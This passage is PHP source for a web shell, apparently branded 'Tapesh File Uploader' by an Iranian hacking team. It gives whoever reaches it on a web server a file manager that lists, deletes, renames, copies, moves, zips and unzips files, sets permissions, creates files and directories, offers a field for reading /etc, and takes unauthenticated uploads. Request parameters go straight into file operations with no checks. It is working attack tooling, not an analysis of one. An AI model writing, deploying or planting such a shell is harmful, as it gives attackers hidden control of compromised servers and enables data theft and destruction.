return $realfilename;
}
$fullurl = "http://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]";
$shellname = realFilename($fullurl);
foreach ($_scdir as $file) {
if (!is_file("$path/$file"))
continue;
$size = filesize("$path/$file") / 1024;
$size = round($size, 3);
if ($size >= 1024) {
$size = round($size / 1024, 2) . ' MB';
} else {
$size = $size . ' KB';
}
echo "<tr><td class='c-td'>";
@$file_path = $file;
@$extension = pathinfo($file_path, PATHINFO_EXTENSION);
if($extension == "php")
{
echo "<input type='checkbox' class='c-checkbox' name='$file'><span class='c-checkbox_span'></span><img class='icon-php' src='https://image.flaticon.com/icons/png/512/2175/2175265.png'>";
}
else if($extension == "txt")
{
echo "<input type='checkbox' class='c-checkbox' name='$file'><span class='c-checkbox_span'></span><img class='icon-txt' src='https://icons.iconarchive.com/icons/pelfusion/flat-file-type/512/txt-icon.png'>";
}
else if($extension == "html" or $extension == "htm")
{
echo "<input type='checkbox' class='c-checkbox' name='$file'><span class='c-checkbox_span'></span><img class='icon-html' src='https://cdn.iconscout.com/icon/free/png-256/html-file-22-504452.png'>";
}
else
{
echo "<input type='checkbox' class='c-checkbox' name='$file'><span class='c-checkbox_span'></span><img class='icon-directory' src='https://uupload.ir/files/3p7i_1f06cbdadc6400b2c2032f570791c630.png'>";
}
if($shellname == $file)
{
echo "<a href=\"?filesrc=$path/$file&path=$path\" style='color: red'>$file</a></td><td><center>" . $size . "</center></td><td><center>";
}
else
{
echo "<a href=\"?filesrc=$path/$file&path=$path\">$file</a></td><td><center>" . $size . "</center></td><td><center>";
}
if (is_writable("$path/$file"))
echo '<font color="#00ff00">';
elseif (!is_readable("$path/$file"))
echo '<font color="red">';
echo perms("$path/$file");
if (is_writable("$path/$file") || !is_readable("$path/$file"))
echo '</font>';
echo "</center></td><td><center>" . date("d-M-Y H:i", filemtime("$path/$file")) . "";
echo "</center></td><td><center><form method=\"POST\" action=\"?option&path=$path\" class='c-form_options'><select name=\"opt\"><option value=\"\"></option><option value=\"delete\">Delete</option><option value=\"rename\">Rename</option><option value=\"edit\">Edit</option></select><input type=\"hidden\" name=\"type\" value=\"file\"><input type=\"hidden\" name=\"name\" value=\"$file\"><input type=\"hidden\" name=\"path\" value=\"$path/$file\"><input type=\"submit\" value=\"+\" class='submit'/></form></center></td></tr>";
$i += 1;
}
echo '</table></div>';
}
function perms($file)
{
$perms = fileperms($file);
if (($perms & 0xC000) == 0xC000) {
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
$info = 'p';
} else {
$info = 'u';
}
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x') : (($perms & 0x0800) ? 'S' : '-'));
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x') : (($perms & 0x0400) ? 'S' : '-'));
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x') : (($perms & 0x0200) ? 'T' : '-'));
return $info;
}
echo '<br>';
echo '</body></html>';
?>
</fieldset>
<div class="c-tools">
<input type="submit" name="remove_Your" class="c-default_btn" onsubmit="autoRefresh(100)" value="Delete">
<?php
echo "<input type=\"hidden\" name=\"path\" value=\"$path\">";
?>
<input type="text" placeholder="Please Enter You Directory" class="c-input_zip" name="copy_name"> <input type="submit" name="copy_work" class="c-default_btn" value="Copy">
<input type="text" placeholder="Please Enter You Directory" class="c-input_zip" name="Move_name"> <input type="submit" name="Move_work" class="c-default_btn" value="Move">
<input type="text" placeholder="Please Enter Yor Zip Name" class="c-input_zip" name="zip_name"> <input type="submit" name="zip_work" class="c-default_btn" value="Zip">
<input type="submit" style="position: absolute;right: 9px;" name="Unzip_work" class="c-default_btn" value="Unzip">
</div>
</table>
</form>
<script>
</script>
<?php
$step1 = explode('=on&',$shellname);
$step2 = explode('?',$step1[0]);
$count = count($step1);
$data = $path."/".$step2[1];
function deleteFolder($path){
if (is_dir($path) === true) {
$files = array_diff(scandir($path), array('.', '..'));
foreach ($files as $file)
deleteFolder(realpath($path) . '/' . $file);
return rmdir($path);
} else if (is_file($path) === true)
return unlink($path);
return false;
}
function makeAll($dir, $mode = 0777, $recursive = true) {
if( is_null($dir) || $dir === "" ){
return FALSE;
}
if( is_dir($dir) || $dir === "/" ){
return TRUE;
}
if( makeAll(dirname($dir), $mode, $recursive) ){
return mkdir($dir, $mode);
}
return FALSE;
}
function smartCopy($source, $dest, $options=array('folderPermission'=>0755,'filePermission'=>0755))
{
$result=false;
if (!isset($options['noTheFirstRun'])) {
$source=str_replace('\\','/',$source);
$dest=str_replace('\\','/',$dest);
$options['noTheFirstRun']=true;
}
if (is_file($source)) {
if ($dest[strlen($dest)-1]=='/') {
if (!file_exists($dest)) {
makeAll($dest,$options['folderPermission'],true);
}
$__dest=$dest."/".basename($source);
} else {
$__dest=$dest;
}
$result=copy($source, $__dest);
chmod($__dest,$options['filePermission']);
} elseif(is_dir($source)) {
if ($dest[strlen($dest)-1]=='/') {
if ($source[strlen($source)-1]=='/') {
} else {
$dest=$dest.basename($source);
@mkdir($dest);
chmod($dest,$options['filePermission']);
}
} else {
if ($source[strlen($source)-1]=='/') {
@mkdir($dest,$options['folderPermission']);
chmod($dest,$options['filePermission']);
} else {
@mkdir($dest,$options['folderPermission']);
chmod($dest,$options['filePermission']);
}
}
$dirHandle=opendir($source);
while($file=readdir($dirHandle))
{
if($file!="." && $file!="..")
{
$__dest=$dest."/".$file;
$__source=$source."/".$file;
if ($__source!=$dest) {
$result=smartCopy($__source, $__dest, $options);
}
}
}
closedir($dirHandle);
} else {
$result=false;
}
return $result;
}
function smartrename($source, $dest, $options=array('folderPermission'=>0755,'filePermission'=>0755))
{
$result=false;
if (!isset($options['noTheFirstRun'])) {
$source=str_replace('\\','/',$source);
$dest=str_replace('\\','/',$dest);
$options['noTheFirstRun']=true;
}
if (is_file($source)) {
if ($dest[strlen($dest)-1]=='/') {
if (!file_exists($dest)) {
makeAll($dest,$options['folderPermission'],true);
}
$__dest=$dest."/".basename($source);
} else {
$__dest=$dest;
}
$result=rename($source, $__dest);
chmod($__dest,$options['filePermission']);
} elseif(is_dir($source)) {
if ($dest[strlen($dest)-1]=='/') {
if ($source[strlen($source)-1]=='/') {
} else {
$dest=$dest.basename($source);
@mkdir($dest);
chmod($dest,$options['filePermission']);
}
} else {
if ($source[strlen($source)-1]=='/') {
@mkdir($dest,$options['folderPermission']);
chmod($dest,$options['filePermission']);
} else {
@mkdir($dest,$options['folderPermission']);
chmod($dest,$options['filePermission']);
}
}
$dirHandle=opendir($source);
while($file=readdir($dirHandle))
{
if($file!="." && $file!="..")
{
$__dest=$dest."/".$file;
$__source=$source."/".$file;
if ($__source!=$dest) {
$result=smartrename($__source, $__dest, $options);
}
}
}
closedir($dirHandle);
} else {
$result=false;
}
return $result;
}
if(isset($_GET['remove_Your']))
{
deleteFolder($data);
unlink($data);
for ($i=1;$i + 1 < $count;$i++)
{
$data2 = $path."/".$step1[$i];
deleteFolder($data2);
unlink($data2);
}
}
if(isset($_GET['copy_work']))
{
$address = $_GET['copy_name'];
$step1 = explode('=on&',$shellname);
$step2 = explode('?',$step1[0]);
$count = count($step1);
$data = $path."/".$step2[1];
smartCopy($data,$path."/".$address."/".$step2[1]);
for ($i=1;$i + 1 < $count;$i++)
{
$data2 = $path."/".$step1[$i];
smartCopy($data2,$path."/".$address."/".$step1[$i]);
}
}
if(isset($_GET['Move_work']))
{
$address = $_GET['Move_name'];
$step1 = explode('=on&',$shellname);
$step2 = explode('?',$step1[0]);
$count = count($step1);
$data = $path."/".$step2[1];
smartrename($data,$path."/".$address."/".$step2[1]);
for ($i=1;$i + 1 < $count;$i++)
{
$data2 = $path."/".$step1[$i];
smartrename($data2,$path."/".$address."/".$step1[$i]);
}
}
if(isset($_GET['zip_work']))
{
$step1 = explode('=on&',$shellname);
$step2 = explode('?',$step1[0]);
$count = count($step1);
$data = $step2[1];
$name = $_GET['zip_name'];
$zip = new ZipArchive();
$zip->open($name, ZipArchive::CREATE);
$zip->addFile($data);
for ($i=1;$i + 1 < $count;$i++)
{
$data2 = $step1[$i];
$zip->addFile($data2);
}
$zip->close();
}
if(isset($_GET['Unzip_work']))
{
$step1 = explode('=on&',$shellname);
$step2 = explode('?',$step1[0]);
$count = count($step1);
$zip = new ZipArchive();
$data = $path."/".$step2[1];
$res = $zip->open($data);
if ($res === TRUE) {
$zip->extractTo($path);
echo "success !";
} else {
echo "fail !";
}
for ($i=1;$i + 1 < $count;$i++)
{
$data2 = $step1[$i];
$res2 = $zip->open($data2);
if ($res2 === TRUE) {
$zip->extractTo($path);
echo "success !";
} else {
echo "fail !";
}
}
$zip->close();
}
function createDirectory() {
$add = $_POST["add"];
mkdir("".$add);
header("refresh: 3;");
}
?>
<div class="c-footer">
<div class="c-footer_button">
<br>
<br>
<div class="btn-footer">
<?php
$name = $_POST['addmkdir'];
mkdir($name);
getcwd();
?>
<label class="c-label">Make Directory : </label>
<form action="" method="post">
<input type="text" name="addmkdir">
<input type="submit" class="c-default_btn" value="mkdir">
</form>
</div>
<div class="btn-footer">
<label class="c-label">Make File : </label>
<form action="" method="post">
<input type="text" name="addmkfile">
<input type="submit" class="c-default_btn" value="mkfile">
</form>
<?php
$FileName = $_POST['addmkfile'];
fopen($FileName, 'w');
getcwd();
?>
</div>
<div class="btn-footer">
<label class="c-label">Add Chmod : </label>
<form action="" method="post">
<input type="text" name="chmod">
<input type="submit" class="c-default_btn" value="chmod">
</form>
<?php
$chmod = $_POST['chmod'];
chmod($chmod, 755);
getcwd();
?>
</div>
<div class="btn-footer">
<label class="c-label">Get etc : </label>
<form action="" method="post">
<input type="text" name="etc">
<input type="submit" class="c-default_btn" value="Read etc">
</form>
</div>
</div>
<div class="c-footer_background"></div>
<?php
echo "\n<body bgcolor=#000000>\n<br>\n<center><font color=\"green\"><big>..:: Tapesh File Uploader ::..";
echo '<br></font></td><td align="center" width="27%"><form enctype="multipart/form-data" method="POST"><input type="file" name="file" style="color:#00ddff;margin-bottom:4px;"/><input type="submit" class="c-default_btn" value="Upload" /></form></td></tr><tr><td colspan="2">';
if (isset($_FILES['file'])) {
if (copy($_FILES['file']['tmp_name'], $path . '/' . $_FILES['file']['name'])) {
echo '<center><font color="#00ff00">Upload OK!</font></center><br/>';
} else {
echo '<center><font color="red">Upload FAILED!</font></center><br/>';
}
}
?> <br>
<center> <font color="red">
<a style="color:red;" href="https://t.me/ICTUS_TM"><span class="copyright">[ /./ ICTUS Digital Security Team Iran © 2020-2021 ]</span></a> </center>
</font>
</div>
</div>
</body>
</html>